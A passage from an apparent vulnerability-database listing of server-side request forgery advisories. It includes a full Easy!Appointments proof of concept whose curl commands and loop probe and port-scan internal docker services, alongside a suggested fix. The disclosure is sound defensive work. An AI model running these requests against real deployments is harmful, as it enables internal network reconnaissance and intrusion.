if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
throw new RuntimeException('You do not have the required permissions for this task.');
}
$caldav_url = request('caldav_url'); // (*) attacker-controlled
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink
...
} catch (GuzzleException | InvalidArgumentException $e) {
json_response([
'success' => false,
'message' => $e->getMessage(), // (*) upstream body reflected
]);
}
}
The per-row check at line 52 only constrains which provider record the caller may write to; it does not constrain where the outbound request lands. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.
When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.
Proof of concept
Setup
- Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:
bash
git clone https://github.com/alextselegidis/easyappointments
cd easyappointments
git checkout 1.5.2
cp config-sample.php config.php
docker compose up -d
until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
- Run the console installer. The seed sets administrator's password to the literal string
administrator(application/libraries/Instance.php:99):
bash
docker compose exec -T php-fpm php index.php console install
- Log in as
administrator(the project's session cookie isea_session) and create an attacker provider. The defaultrequire_phone_number=1setting makesphone_numbermandatory:
```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") ```
- Log in as the attacker into a dedicated cookie jar:
bash
export ATTACKER_JAR=/tmp/attacker.cookies
curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=mallory" \
--data-urlencode "password=Attacker-pw-1" > /dev/null
Exploit
- The attacker probes the
nginxcontainer that fronts Easy!Appointments itself, hitting a 404 path. They pass their own$ATTACKER_IDso the row-ownership check atCaldav.php:52succeeds; the URL has nothing to do with the row:
bash
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://nginx/some/404/path" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http:\/\/nginx\/some\/404\/path\/` resulted in a `404 Not Found` response:\n\n<!doctype html>\n\n\n \n <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.
- The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:
bash
for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
printf '\n=== %s ===\n' "$target"
curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "provider_id=$ATTACKER_ID" \
--data-urlencode "caldav_url=http://$target/" \
--data-urlencode "caldav_username=x" \
--data-urlencode "caldav_password=x"
done
Observed: mysql:3306 returns cURL error 1: Received HTTP/0.9 when not allowed - port open, not HTTP. swagger-ui:8080 returns Client error: \REPORT http://swagger-ui:8080/` resulted in a `405 Not Allowed` response: \r\n405 Not Allowed...- port open, HTTP, nginx fronts it.mailpit:8025andphpmyadmin(port 80) return{"success":true}- port open, HTTP, the CalDAVREPORTwas accepted without a 4xx.nonexistent.invalidreturnscURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.
Impact
- Confidentiality: Reaches arbitrary HTTP and HTTPS hosts reachable from the
php-fpmcontainer, including loopback, the docker network'smysql,mailpit,phpmyadmin,baikal,openldapservices, and any RFC1918 / link-local IP on the host network. - Confidentiality: Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON
messagefield, enough to fingerprint internal services and read short error pages, banners, or status documents.
Suggestions to fix
This has not been tested - it is illustrative only.
Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.
$caldav_url = request('caldav_url');
+
+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+ if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ throw new InvalidArgumentException('CalDAV URL is not allowed.');
+ }
+
$caldav_username = request('caldav_username');
$caldav_password = request('caldav_password');
$this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);
Credit
Dredsen, 2026.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "alextselegidis/easyappointments"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52840"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T16:24:27Z",
"nvd_published_at": "2026-07-14T16:17:00Z",
"severity": "LOW"
},
"details": "### Summary\n\n`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request\u0027s `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment\u0027s network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.\n\n### Preconditions\n\n- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.\n- Default deployment per the project\u0027s own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.\n\n### Details\n\n```php\n// application/controllers/Caldav.php:45-82\npublic function connect_to_server(): void\n{\n try {\n $provider_id = request(\u0027provider_id\u0027);\n $user_id = session(\u0027user_id\u0027);\n\n if (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n throw new RuntimeException(\u0027You do not have the required permissions for this task.\u0027);\n }\n\n $caldav_url = request(\u0027caldav_url\u0027); // (*) attacker-controlled\n $caldav_username = request(\u0027caldav_username\u0027);\n $caldav_password = request(\u0027caldav_password\u0027);\n\n $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink\n ...\n } catch (GuzzleException | InvalidArgumentException $e) {\n json_response([\n \u0027success\u0027 =\u003e false,\n \u0027message\u0027 =\u003e $e-\u003egetMessage(), // (*) upstream body reflected\n ]);\n }\n}\n```\n\nThe per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.\n\nWhen Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: \u003cbody truncated to ~120 chars\u003e``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment\u0027s network.\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n ```bash\n git clone https://github.com/alextselegidis/easyappointments\n cd easyappointments\n git checkout 1.5.2\n cp config-sample.php config.php\n docker compose up -d\n until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n ```\n\n2. Run the console installer. The seed sets administrator\u0027s password to the literal string `administrator` (`application/libraries/Instance.php:99`):\n\n ```bash\n docker compose exec -T php-fpm php index.php console install\n ```\n\n3. Log in as `administrator` (the project\u0027s session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:\n\n ```bash\n export ADMIN_JAR=/tmp/admin.cookies\n curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"username=administrator\" \\\n --data-urlencode \"password=administrator\" \u003e /dev/null\n\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \u0027provider[first_name]=Mal\u0027 \\\n --data-urlencode \u0027provider[last_name]=Lory\u0027 \\\n --data-urlencode \u0027provider[email]=mallory@x.test\u0027 \\\n --data-urlencode \u0027provider[phone_number]=+10000000000\u0027 \\\n --data-urlencode \u0027provider[timezone]=UTC\u0027 \\\n --data-urlencode \u0027provider[language]=english\u0027 \\\n --data-urlencode \u0027provider[settings][username]=mallory\u0027 \\\n --data-urlencode \u0027provider[settings][password]=Attacker-pw-1\u0027 \\\n --data-urlencode \u0027provider[settings][notifications]=0\u0027\n export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027mallory\u0027\")\n ```\n\n4. Log in as the attacker into a dedicated cookie jar:\n\n ```bash\n export ATTACKER_JAR=/tmp/attacker.cookies\n curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"username=mallory\" \\\n --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n ```\n\n**Exploit**\n\n1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:\n\n ```bash\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n --data-urlencode \"caldav_url=http://nginx/some/404/path\" \\\n --data-urlencode \"caldav_username=x\" \\\n --data-urlencode \"caldav_password=x\"\n ```\n\n Observed (verified on a fresh `docker compose up`): `{\"success\":false,\"message\":\"Client error: \\`REPORT http:\\/\\/nginx\\/some\\/404\\/path\\/\\` resulted in a \\`404 Not Found\\` response:\\n\\n\u003c!doctype html\u003e\\n\u003chtml lang=\\\"en\\\" style=\\\"\\n height: 100%;\\n\\\"\u003e\\n\u003chead\u003e\\n \u003cmeta charset=\\\"utf-8\\\"\u003e\\n \u003cmeta http-equiv=\\\"X- (truncated...)\\n\"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.\n\n2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:\n\n ```bash\n for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do\n CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n printf \u0027\\n=== %s ===\\n\u0027 \"$target\"\n curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n --data-urlencode \"caldav_url=http://$target/\" \\\n --data-urlencode \"caldav_username=x\" \\\n --data-urlencode \"caldav_password=x\"\n done\n ```\n\n Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \\`REPORT http://swagger-ui:8080/\\` resulted in a \\`405 Not Allowed\\` response: \u003chtml\u003e\\r\\n\u003chead\u003e\u003ctitle\u003e405 Not Allowed\u003c/title\u003e...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{\"success\":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.\n\n### Impact\n\n- **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network\u0027s `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network.\n- **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client.\n\n```diff\n $caldav_url = request(\u0027caldav_url\u0027);\n+\n+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);\n+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: \u0027\u0027;\n+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);\n+\n+ if (!in_array($scheme, [\u0027http\u0027, \u0027https\u0027], true) || $ip === \u0027\u0027 || $ip === $host\n+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+ throw new InvalidArgumentException(\u0027CalDAV URL is not allowed.\u0027);\n+ }\n+\n $caldav_username = request(\u0027caldav_username\u0027);\n $caldav_password = request(\u0027caldav_password\u0027);\n\n $this-\u003ecaldav_sync-\u003etest_connection($caldav_url, $caldav_username, $caldav_password);\n```\n\n### Credit\n\nDredsen, 2026.",
"id": "GHSA-pm5p-7w5h-jm5q",
"modified": "2026-07-29T16:24:28Z",
"published": "2026-07-29T16:24:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52840"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536"
},
{
"type": "PACKAGE",
"url": "https://github.com/alextselegidis/easyappointments"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment\u0027s internal network"
}
GHSA-PM79-7WHG-HPFR
Vulnerability from github – Published: 2026-09-23 21:30 – Updated: 2026-09-24 09:31A server-side request forgery flaw was found in the Ansible Automation Platform automation-controller email notification backend. The email backend passes the user-supplied SMTP host and port from a notification template directly to the SMTP client without validating that the target is not an internal, loopback, link-local, or reserved address. An authenticated user with organization notification-admin permission can create or modify an email notification template pointing at an arbitrary internal address, trigger a test, and have the controller task process open a raw TCP connection to that address. The resulting connection error is reflected back through the notification record, providing a three-state internal port-scan oracle (open, closed, filtered) over the control-plane's cluster network, including the in-cluster Kubernetes API. When a shared organization template holds a stored SMTP password, redirecting the host can also cause that credential to be transmitted to an attacker-controlled server.
{
"affected": [],
"aliases": [
"CVE-2026-84721"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-23T20:17:18Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery flaw was found in the Ansible Automation Platform\nautomation-controller email notification backend. The email backend passes the user-supplied SMTP\nhost and port from a notification template directly to the SMTP client without validating that\nthe target is not an internal, loopback, link-local, or reserved address. An authenticated user\nwith organization notification-admin permission can create or modify an email notification\ntemplate pointing at an arbitrary internal address, trigger a test, and have the controller task\nprocess open a raw TCP connection to that address. The resulting connection error is reflected\nback through the notification record, providing a three-state internal port-scan oracle (open,\nclosed, filtered) over the control-plane\u0027s cluster network, including the in-cluster Kubernetes\nAPI. When a shared organization template holds a stored SMTP password, redirecting the host can\nalso cause that credential to be transmitted to an attacker-controlled server.",
"id": "GHSA-pm79-7whg-hpfr",
"modified": "2026-09-24T09:31:50Z",
"published": "2026-09-23T21:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84721"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:71177"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-84721"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2527220"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PMFQ-GXQ5-R895
Vulnerability from github – Published: 2026-09-30 21:32 – Updated: 2026-09-30 21:32OpenClaw Windows Node through 2026.9.4 contains a server-side request forgery vulnerability in the canvas.present capability that bypasses URL risk evaluation enforced by canvas.navigate. Attackers with gateway or agent access can issue canvas.present to make the node's WebView send requests to localhost, private networks, or tailnet services from the user's machine.
{
"affected": [],
"aliases": [
"CVE-2026-101883"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-30T20:17:20Z",
"severity": "MODERATE"
},
"details": "OpenClaw Windows Node through 2026.9.4 contains a server-side request forgery vulnerability in the canvas.present capability that bypasses URL risk evaluation enforced by canvas.navigate. Attackers with gateway or agent access can issue canvas.present to make the node\u0027s WebView send requests to localhost, private networks, or tailnet services from the user\u0027s machine.",
"id": "GHSA-pmfq-gxq5-r895",
"modified": "2026-09-30T21:32:10Z",
"published": "2026-09-30T21:32:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw-windows-node/security/advisories/GHSA-7vch-pmw9-3g4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101883"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw-windows-node/commit/16528aadaa45d7bc6718b07ccf8b01f3eb033ad1"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw-windows-node/blob/v0.6.12/src/OpenClaw.Tray.WinUI/Windows/CanvasWindow.xaml.cs#L77-L109"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw-windows-node/blob/v2026.9.4/src/OpenClaw.Tray.WinUI/Services/NodeService.cs#L1244-L1270"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-windows-node-through-2026.9.4-ssrf-via-canvas-present"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMGR-28PH-JHMM
Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-21 18:32An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the create Notes function.
{
"affected": [],
"aliases": [
"CVE-2025-29456"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T22:15:15Z",
"severity": "MODERATE"
},
"details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the create Notes function.",
"id": "GHSA-pmgr-28ph-jhmm",
"modified": "2025-04-21T18:32:08Z",
"published": "2025-04-18T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29456"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/ckogwt5qwnkd821k"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.